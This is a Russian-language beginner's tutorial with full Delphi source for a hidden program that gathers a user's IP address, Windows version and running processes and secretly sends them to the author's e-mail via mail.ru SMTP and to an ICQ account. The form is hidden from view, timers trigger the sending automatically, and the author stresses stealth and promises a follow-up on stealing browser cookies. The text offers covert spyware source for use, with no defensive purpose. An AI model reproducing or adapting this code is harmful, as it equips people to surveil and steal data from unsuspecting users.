COOLBOY007
Автор: =Zeus=
В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится.
Итак, для этого нам понадобятся:
* "Delphi 7" или "Delphi 2009", так как модуль ICQ работает только на них. Впрочем взять другую версию модуля не проблема.
* Собственно, сам модуль ICQClient v1.35.
Качаем, устанавливаем.
Рассмотрим, что должна будет делать наша программа:
1. Получить IP, сведения о системе и системных процессах.
2. Проверить подключение к интернету, и если мы в онлайне то
3. Отправить данные нам на ICQ.
4. Отправить письмо на наш e-mail.
Итак, приступим.
В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов).
С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он.
С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail.
Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные.
Далее опишем несколько нужных нам функций.
В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз:
Application.ShowMainForm := false;
Функция для получения IP в строковом формате. В интернете их много, можете взять ту, которая вам нравится больше ))
function TForm1.IPstr(HostName:String) : String; LABEL Abort; TYPE TAPInAddr = ARRAY[0..100] OF PInAddr; PAPInAddr =^TAPInAddr; VAR WSAData : TWSAData; HostEntPtr : PHostEnt; pptr : PAPInAddr; I : Integer; BEGIN Result:=''; WSAStartUp($101,WSAData); TRY HostEntPtr:=GetHostByName(PChar(HostName)); IF HostEntPtr=NIL THEN GOTO Abort; pptr:=PAPInAddr(HostEntPtr^.h_addr_list); I:=0; WHILE pptr^[I]<>NIL DO BEGIN RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^); Inc(I); END; Abort: EXCEPT END; WSACleanUp(); END;
Функция для получения версии операционной системы Windows.
function TForm1.GetOS: string; const cOsUnknown = 'unknown'; cOsWin95 = 'Win95'; cOsWin98 = 'Win98'; cOsWin98SE = 'W98SE'; cOsWinME = 'WinME'; cOsWinNT = 'WinNT'; cOsWin2000 = 'Win2000'; cOsXP = 'WinXP'; var osVerInfo: TOSVersionInfo; majorVer, minorVer: Integer; begin Result := cOsUnknown; { set operating system type flag } osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if GetVersionEx(osVerInfo) then begin majorVer := osVerInfo.dwMajorVersion; minorVer := osVerInfo.dwMinorVersion; case osVerInfo.dwPlatformId of VER_PLATFORM_WIN32_NT: { Windows NT/2000 } begin if majorVer <= 4 then Result := cOsWinNT else if (majorVer = 5) and (minorVer = 0) then Result := cOsWin2000 else if (majorVer = 5) and (minorVer = 1) then Result := cOsXP else Result := cOsUnknown; end; VER_PLATFORM_WIN32_WINDOWS: { Windows 9x/ME } begin if (majorVer = 4) and (minorVer = 0) then Result := cOsWin95 else if (majorVer = 4) and (minorVer = 10) then begin if osVerInfo.szCSDVersion[1] = 'A' then Result := cOsWin98SE else Result := cOsWin98; end else if (majorVer = 4) and (minorVer = 90) then Result := cOsWinME else Result := cOsUnknown; end; else Result := cOsUnknown; end; end else Result := cOsUnknown; end;
Функция получения списка процессов пользователя:
function TForm1.ProcessInfo: string; var hsnap: Thandle; procentry: TProcessEntry32; begin result:=''; hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS , 0); procentry.dwSize:=sizeof(procentry); Process32First(hsnap, procentry); repeat result:=result+procentry.szexefile+#13#10; until Process32Next(hsnap, procentry)<>true; CloseHandle(hsnap); end;
Вот и все, нужную нам информацию мы собрали, теперь опишем функцию отправки письма на почту. В данном примере будем использовать mail.ru.
procedure TForm1.SendMail; begin IdSMTP1.Host := 'smtp.mail.ru'; IdSMTP1.Port := 25; IdSMTP1.Username := 'pypkin'; // логин отправителя IdSMTP1.Password := '123456'; // пароль отправителя IdSMTP1.AuthenticationType:=atLogin; with IdMessage1 do begin Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo); From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя Subject :='тема письма'; end; IdSMTP1.Connect; try IdSMTP1.Send(IdMessage1); finally IdSMTP1.Disconnect; end; end;
Надеюсь ничего сложного? Все функции описаны, приступим непосредственно к отправке. Выставим интервал таймера Timer1 в 5000. А в событии OnTimer напишем:
procedure TForm1.Timer1Timer(Sender: TObject); begin if InternetGetConnectedState(NIL,0)=true then try Timer1.Enabled:=false; ICQClient1.UIN := 123456789; ICQClient1.Password := 'пароль отправителя'; ICQClient1.Login(0, false); Timer2.Enabled:=true; try SendMail; sleep(1000); except end; except Timer1.Enabled:=true; end; end;
Заведем глобальную переменную logged типа boolean.
Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу.
logged: boolean = false;
Теперь в событии OnLogin компонента ICQClient вставим код:
procedure TForm1.ICQClient1Login(Sender: TObject); begin logged:=true; end;
В Timer2 выставим интервал в 100, Enabled в False, а в событии OnTimer пишем следующее:
procedure TForm1.Timer2Timer(Sender: TObject); begin if logged = true then try Timer2.Enabled:=false; ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS); sleep(500); except end; end;
Готово! Можно смело компилировать, и ждать письма, которое должно прийти через 5 секунд после запуска программы. При многократном запуске могут возникнуть проблемы с отправкой на ICQ, это связано с тем, что если с одного компьютера слишком часто идет запрос на логинизацию, он блокируется для сервиса на 10-20 мин. Естественно, для того, чтоб все было скрытно, нужно писать на API. Но на первый раз и так сойдет. В следующей статье я расскажу как вытягивать куки из-под 3-х известных броузеров.
Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи! 
